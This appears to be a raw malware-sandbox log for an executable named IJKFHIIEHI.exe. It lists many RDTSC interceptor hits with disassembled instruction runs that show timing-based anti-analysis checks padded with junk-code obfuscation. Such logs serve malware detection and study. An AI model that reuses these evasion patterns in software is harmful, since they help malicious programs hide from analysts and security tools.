Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 784E55 second address: 784E61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FF888DC1E96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 784E61 second address: 784E6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jns 00007FF88929ECB6h 0x0000000c rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 785100 second address: 785106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 785106 second address: 785130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jg 00007FF88929ECD7h 0x0000000d jmp 00007FF88929ECC5h 0x00000012 jo 00007FF88929ECBCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 78554C second address: 78556C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1EA8h 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 788C1F second address: 788C23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 79079A second address: 7907A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 754230 second address: 75427F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FF88929ECC8h 0x0000000b jmp 00007FF88929ECC0h 0x00000010 popad 0x00000011 pop edx 0x00000012 pushad 0x00000013 pushad 0x00000014 ja 00007FF88929ECB6h 0x0000001a jg 00007FF88929ECB6h 0x00000020 jp 00007FF88929ECB6h 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 jns 00007FF88929ECB6h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 75427F second address: 754283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 754283 second address: 75428D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 75428D second address: 754291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 78FBF1 second address: 78FC11 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF88929ECB6h 0x00000008 jmp 00007FF88929ECC3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 78FC11 second address: 78FC2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF888DC1E9Eh 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 78FC2B second address: 78FC44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF88929ECC3h 0x0000000b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 78FC44 second address: 78FC49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 790035 second address: 790041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF88929ECB8h 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 790041 second address: 790065 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1EA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FF888DC1EB5h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 790065 second address: 79006B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 790346 second address: 79034A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 792696 second address: 7926B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF88929ECC1h 0x0000000f rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 792778 second address: 792785 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 792785 second address: 792789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 792789 second address: 7927B0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF888DC1E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF888DC1EA5h 0x00000017 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7927B0 second address: 7927BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7927BA second address: 7927BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7927BE second address: 7927E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c jo 00007FF88929ECC0h 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7927E7 second address: 7927FE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b ja 00007FF888DC1E98h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7927FE second address: 792802 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 792802 second address: 79287D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 xor edi, 32404323h 0x0000000e call 00007FF888DC1E99h 0x00000013 jmp 00007FF888DC1EA8h 0x00000018 push eax 0x00000019 jmp 00007FF888DC1E9Eh 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 jg 00007FF888DC1EA2h 0x00000028 mov eax, dword ptr [eax] 0x0000002a push edx 0x0000002b jmp 00007FF888DC1EA1h 0x00000030 pop edx 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 pushad 0x00000036 push esi 0x00000037 pushad 0x00000038 popad 0x00000039 pop esi 0x0000003a pushad 0x0000003b jp 00007FF888DC1E96h 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7934E5 second address: 7934E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 794E96 second address: 794E9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 794E9A second address: 794EA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 794EA7 second address: 794EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 794EAE second address: 794ED3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC5h 0x00000007 push ebx 0x00000008 jmp 00007FF88929ECBBh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 795E8B second address: 795E95 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF888DC1E9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 796F7E second address: 796F82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 796F82 second address: 796FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jmp 00007FF888DC1E9Eh 0x0000000d nop 0x0000000e movsx edi, si 0x00000011 push 00000000h 0x00000013 jmp 00007FF888DC1EA4h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007FF888DC1E98h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 movzx edi, dx 0x00000037 xchg eax, ebx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 796FE1 second address: 796FE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 796FE5 second address: 796FE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 796FE9 second address: 797000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF88929ECBFh 0x0000000d rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 79677C second address: 796780 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 797A48 second address: 797A4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 79C334 second address: 79C338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A167F second address: 7A16F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FF88929ECC4h 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 jmp 00007FF88929ECC0h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 jmp 00007FF88929ECC0h 0x0000001e jmp 00007FF88929ECC7h 0x00000023 pop esi 0x00000024 pushad 0x00000025 jmp 00007FF88929ECC6h 0x0000002a jbe 00007FF88929ECB6h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A16F9 second address: 7A1704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF888DC1E96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A1704 second address: 7A170E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FF88929ECB6h 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A1CB5 second address: 7A1CBF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF888DC1E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A1CBF second address: 7A1CC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A1E4E second address: 7A1E5D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A1E5D second address: 7A1E61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A1E61 second address: 7A1E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A1E65 second address: 7A1E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A1E6B second address: 7A1E71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A1E71 second address: 7A1EFA instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF88929ECB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FF88929ECB8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push dword ptr fs:[00000000h] 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007FF88929ECB8h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 0000001Bh 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 mov dword ptr [ebp+12468959h], esi 0x0000004e mov dword ptr fs:[00000000h], esp 0x00000055 or bh, 0000003Dh 0x00000058 mov eax, dword ptr [ebp+122D0B21h] 0x0000005e mov dword ptr [ebp+122D2AD8h], eax 0x00000064 push FFFFFFFFh 0x00000066 sub di, 03C1h 0x0000006b nop 0x0000006c push eax 0x0000006d push edx 0x0000006e js 00007FF88929ECBCh 0x00000074 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A1EFA second address: 7A1F00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A1F00 second address: 7A1F18 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF88929ECB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A1F18 second address: 7A1F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A3BFF second address: 7A3C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 push edx 0x00000008 push eax 0x00000009 mov ebx, 5182D461h 0x0000000e pop ebx 0x0000000f pop edi 0x00000010 push 00000000h 0x00000012 mov ebx, dword ptr [ebp+122D3895h] 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b mov edi, dword ptr [ebp+122D3398h] 0x00000021 pop ebx 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push ecx 0x00000026 push edx 0x00000027 pop edx 0x00000028 pop ecx 0x00000029 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A3C28 second address: 7A3C2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A2D86 second address: 7A2D8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A2D8C second address: 7A2D91 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A4EA8 second address: 7A4EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A4EAC second address: 7A4EB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A5FD4 second address: 7A5FD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A6099 second address: 7A609F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A609F second address: 7A60A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A7F6E second address: 7A7F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1EA0h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A7F87 second address: 7A7F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A8F08 second address: 7A8F2E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007FF888DC1EA9h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A8113 second address: 7A819F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FF88929ECBBh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov ebx, dword ptr [ebp+12458C2Ah] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov bh, al 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 call 00007FF88929ECB8h 0x0000002a pop edx 0x0000002b mov dword ptr [esp+04h], edx 0x0000002f add dword ptr [esp+04h], 00000015h 0x00000037 inc edx 0x00000038 push edx 0x00000039 ret 0x0000003a pop edx 0x0000003b ret 0x0000003c mov edi, ecx 0x0000003e mov eax, dword ptr [ebp+122D0BCDh] 0x00000044 push 00000000h 0x00000046 push edi 0x00000047 call 00007FF88929ECB8h 0x0000004c pop edi 0x0000004d mov dword ptr [esp+04h], edi 0x00000051 add dword ptr [esp+04h], 00000017h 0x00000059 inc edi 0x0000005a push edi 0x0000005b ret 0x0000005c pop edi 0x0000005d ret 0x0000005e push edi 0x0000005f pop ebx 0x00000060 push FFFFFFFFh 0x00000062 mov dword ptr [ebp+122D2CD1h], ecx 0x00000068 nop 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007FF88929ECC3h 0x00000070 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A9F49 second address: 7A9F68 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF888DC1EA2h 0x00000012 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A9F68 second address: 7A9F77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A9F77 second address: 7A9F81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FF888DC1E96h 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7A90D1 second address: 7A9155 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF88929ECB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c js 00007FF88929ECC2h 0x00000012 ja 00007FF88929ECBCh 0x00000018 mov ebx, ecx 0x0000001a push dword ptr fs:[00000000h] 0x00000021 sub dword ptr [ebp+122D2B1Dh], ebx 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e mov dword ptr [ebp+122D3400h], ecx 0x00000034 mov eax, dword ptr [ebp+122D0BA9h] 0x0000003a sub dword ptr [ebp+1246ACC5h], eax 0x00000040 push FFFFFFFFh 0x00000042 push 00000000h 0x00000044 push ebp 0x00000045 call 00007FF88929ECB8h 0x0000004a pop ebp 0x0000004b mov dword ptr [esp+04h], ebp 0x0000004f add dword ptr [esp+04h], 00000016h 0x00000057 inc ebp 0x00000058 push ebp 0x00000059 ret 0x0000005a pop ebp 0x0000005b ret 0x0000005c movzx edi, ax 0x0000005f nop 0x00000060 push eax 0x00000061 push edx 0x00000062 push ecx 0x00000063 jmp 00007FF88929ECC6h 0x00000068 pop ecx 0x00000069 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7AE034 second address: 7AE038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7AE038 second address: 7AE066 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECBCh 0x00000007 jmp 00007FF88929ECBAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FF88929ECBBh 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7AF5D1 second address: 7AF5D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7B051F second address: 7B0523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7B0523 second address: 7B0535 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF888DC1E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007FF888DC1E9Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7B0535 second address: 7B055B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov ebx, dword ptr [ebp+122D3929h] 0x0000000c push 00000000h 0x0000000e or ebx, dword ptr [ebp+122D337Ch] 0x00000014 push 00000000h 0x00000016 jmp 00007FF88929ECBAh 0x0000001b push eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7B055B second address: 7B055F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
